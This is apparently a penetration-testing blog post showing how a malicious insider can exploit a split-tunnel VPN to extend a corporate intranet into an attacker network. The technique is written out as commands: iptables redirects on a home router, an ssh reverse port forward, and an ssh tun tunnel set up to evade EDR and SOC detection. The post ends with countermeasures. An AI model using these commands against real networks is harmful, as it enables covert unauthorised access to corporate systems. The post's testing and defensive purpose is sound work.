As an adversary it is useful to establish a base of operations from within the target network that is not controlled by the target organisation. This avoids the need to circumvent various EDR/AV solutions that could not only block our actions, but worse, expose us to the target.
Homeworking solutions can offer malicious insiders a way forward. Here, I’ll document an example of the types of things we may wish to test for (if penetration testing) or as a potential technique to avoid detection for a red team. The results of such tests can feed back to the clients to inform them of potential exposures and remedies.
A potential disadvantage of homeworking solutions, particularly on-premise, is that when a client establishes a VPN connection, all traffic is routed to the VPN service. It doesn’t take that many users to collectively put large resource demands on those servers, and the associated bills in bandwidth usage, etc.
There is a simple but highly effective solution to this. The Split-VPN. Here we split traffic according to some policy between the VPN and the network in which the client device resides. It may be very relaxed in that only Intranet traffic goes through the VPN, or much stricter in that only specific networks avoid the VPN connection, such as corporate devices hosted on cloud solutions like Azure or AWS.
In all these cases the purpose is to offload bandwidth onto the local Internet connection where possible, thus reducing the load (and the cost in supporting) the VPN service.
Our goal in this example will be to take advantage of a split-vpn to achieve an extension of the target network into our attacker network. We will do this by “living off the land”. Once the requisite actions are taken, this will principally be by intercepting specific traffic on the controlled router and redirecting it to an attacker device.
The Target
Below is a hypothetical network that we will walk through an example of such an attack.
In addition to VPN access, there are a number of important things that need to be in the adversaries favour.
- They must control a router between the client device and the VPN service. This is easy to achieve for a homeworker using their home Internet connection.
- In this specific example, we need an ssh client on the vpn client device (Windows 10 has this installed in many cases nowadays) and root access to a Linux box within the Intranet.
- Appropriate mitigations not in place (this is likely to be specific to your environment and a bit too detailed to cover in a blog)
At the end of this exercise, we will have the ability see any device in ACME from our attacker network that is reachable from acme-lin.
The Setup
So lets start.
Once the user has connected their corporate Windows 10 box to the VPN they are assigned a VPN address from an allocation. In our case the 172.16.2.0/24 pool. This address is not important for this attack.
We first need to establish what is not routed via the VPN. For this VPN a simple “route print” will suffice.
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 128.0.0.0 172.16.2.6 172.16.2.5 257
...
216.58.213.0 255.255.255.0 192.168.100.1 192.168.100.200 281
...
Here we can see that the 216.58.213.0/24 network is routed via the local router and not the VPN endpoint 172.16.2.6 (216.58.213.4 is a Google address). In your case it may be specific corporate cloud endpoints in your routing table.
We intend to intercept 216.58.213.4 on port 22/tcp (ssh) and redirect it to our attacker device. The choice of endpoint and port is flexible as we can tweak all this in configurations, sshd listeners, etc.
Before progressing further we now set up our attacker configuration. In a real test there will be much more work around protecting the clients interests, such as hardening these devices, to prevent unintended outcomes.
On the homeworking boundary router att-rt, a linux box, we set up some iptables rules. As it is already a router these are tweaks to redirect traffic to our attacker box 192.168.100.100.
iptables -t nat -A PREROUTING -p tcp -d 216.58.213.4/32 --dport 22 -j DNAT --to-destination 192.168.100.100:22
This rule targets a specific port that isn’t needed by the real target, thus avoids breaking normal operations. However, ssh’ing to Google may raise interest from a good SOC. Choices are very target organisation dependent.
Networking people may now be shouting at me.
There is an important consideration depending on where we are redirecting. As we are sending the packet back to the original network, but a different host, we have just introduced asymmetric routing for this connection with a destination IP rewrite.
This is because 192.168.100.100 will see the packet is from 192.168.100.200 and send the reply direct, as it is on the same link. acme-client will get the packet from att-lin and say what’s this? I know I sent a packet to 216.58.213.4, but this isn’t anything to do with that. Things will break.
We need to rewrite the source IP as well. A better version would be:
iptables -t nat -A PREROUTING -p tcp -d 216.58.213.4/32 --dport 22 -j MARK --set-mark 0x1
iptables -t nat -A PREROUTING -p tcp -d 216.58.213.4/32 --dport 22 -j DNAT --to-destination 192.168.100.100:22
iptables -t nat -A POSTROUTING -o ens34 -p tcp -d 192.168.100.100/32 --dport 22 -m mark --mark 0x1 -j MASQUERADE
For this demo we can quickly verify this works on acme-client by attempting an ssh to the Google external address.
C:\Users\IEUser\Documents>ssh [email protected]
The authenticity of host '216.58.213.4 (216.58.213.4)' can't be established.
ECDSA key fingerprint is SHA256:IyKqOF+cphgM76f27yqVgoYNM8ROeqIo2ArzEWCcJnI.
Are you sure you want to continue connecting (yes/no)?
Yey! We have successfully redirected traffic.
We now need to prepare att-lin for incoming connections to establish the link between att-lin and acme-lin; which will form our malicious network link.
First, we create user to use. In a real engagement this may also be protected by other controls such as specific source addresses, MFA, and so on.
useradd -m -s /bin/bash eviluser
By default an sshd server will not allow tun/tap tunnels, which is different from tcp port forwarding. We add to the end of /etc/ssh/sshd_config:
Match User eviluser
PermitTunnel yes
We now reload sshd
systemctl reload sshd
If we wish to NAT an attacker subnet/network we can add it here. This turns att-lin into an attacker gateway. In this case we would need to lock down the forwarding rules before turning it into a router. This is left as an exercise (it is similar to what we will do to acme-lin to route out to the Intranet)
Finally, we need to set up the routing table this side of the acme-lin/att-lin link (and any extended network this end). We intend to use a p2p net between the two boxes. We can choose any subnet that isn’t going to clash with what we wish to access. Say 10.1.1.0/30. We will have 10.1.1.1/30 on att-lin and 10.1.1.2/32 on acme-lin.
ifconfig tun0 10.1.1.1/30 10.1.1.2
route add 172.16.0.0/16 10.1.1.2
However, if ifconfig isn’t installed on your distribution try this form:
ip tuntap add mode tun one_queue name tun0
ip addr add 10.1.1.1/30 peer 10.1.1.2 dev tun0
ip link set tun0 up
ip route add 172.16.0.0/16 via 10.1.1.2
Execution
Now we have set up what we can outside of the target devices, we can now proceed to execute the plan.
First, on acme-client, we ssh to acme-lin as our normal (sudo priv) account. Importantly, we establish a reverse TCP connection when doing this.
ssh -R 2222:216.58.213.4:22 [email protected]
As shown in the following diagram, the result there will be a listener on port 2222/tcp running on acme-lin. Connections to this port will be automatically tunnelled over the ssh connection to the ssh client (path A through to G). The ssh client will then establish a connection (H to I) with our intercepted Google address. At att-rt the packet arriving on the path at I will then get redirected to att-lin (J to K).
Once logged into acme-lin we need to establish the other end of the tunnel and set up some forwarding rules. Obviously, if this already routes some traffic we would need to cater for that.
iptables -t nat -A POSTROUTING -s 10.1.1.1/32 -j MASQUERADE
iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i tun0 -s 10.1.1.1/32 -j ACCEPT
iptables -A FORWARD -j DROP
bash -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
Finally, we establish the tunnel.
ssh -f -w 0:0 -p 2222 [email protected] true
ip addr add 10.1.1.2/30 peer 10.1.1.1 dev tun0
ip link set tun0 up
Verification
We verify by first testing access to the Intranet DNS, then RDP to our target. A more advanced setup may also need DNS resolver updates, etc to the attacker infrastructure.
nslookup acme-crm.acme.intranet. 172.16.1.1
xfreerdp /u:acme-crm\IEUser /v:172.16.1.200
Countermeasures
The first thing I would look for is good auditing – the “how do you know”. Even if you are hit with an attack that didn’t trigger alerts, do you have events that can derive a timeline and root-cause. For example, Defender 365 records what processes were spawned, what the talked too (network connections), files opened, etc. Can you spot configuration changes to a device, for example adding a new nic (the tun0 device) on acme-lin. If you are missing valuable telemetry, can you add it. Can you alert on any of these actions without too many false positives. Tracing back to the origin or source is invaluable.
As security professionals we are effectively testing the assertions made by companies as to what their products will do/prevent, the clients’ configurations of those products and so on. A penetration test of such live setups leads to more informed decisions by the clients management.
Technical controls are quite varied and will depend on the specifics of an organisation. There are some common themes…
From a network focused attack viewpoint compartmentalisation is valuable. If an adversary can directly RDP to a domain control from remote access, rather than have to go via a management workstation/jumpbox, this makes their (my) lives much easier.
Hardening devices helps. For example, whilst there can be legitimate reasons for such things, not allowing port forwarding (the initial step), or blocking RDP drive shares can hinder an adversary.
Least-privilege and separation of duties – did that homeworker actually need root privileges on acme-lin.
You may say that, for example, stopping port forwarding on acme-lin is easily bypassed. You would be correct. The aim isn’t getting a perfect system but introducing multiple layers of defence. The more layers of defence, the more opportunities there are for an adversary to slip-up and get detected. So even if you cannot stop a skilled adversary you will have an increased chance of spotting it. Knowing that a potentially successful attack is happening is an important first step.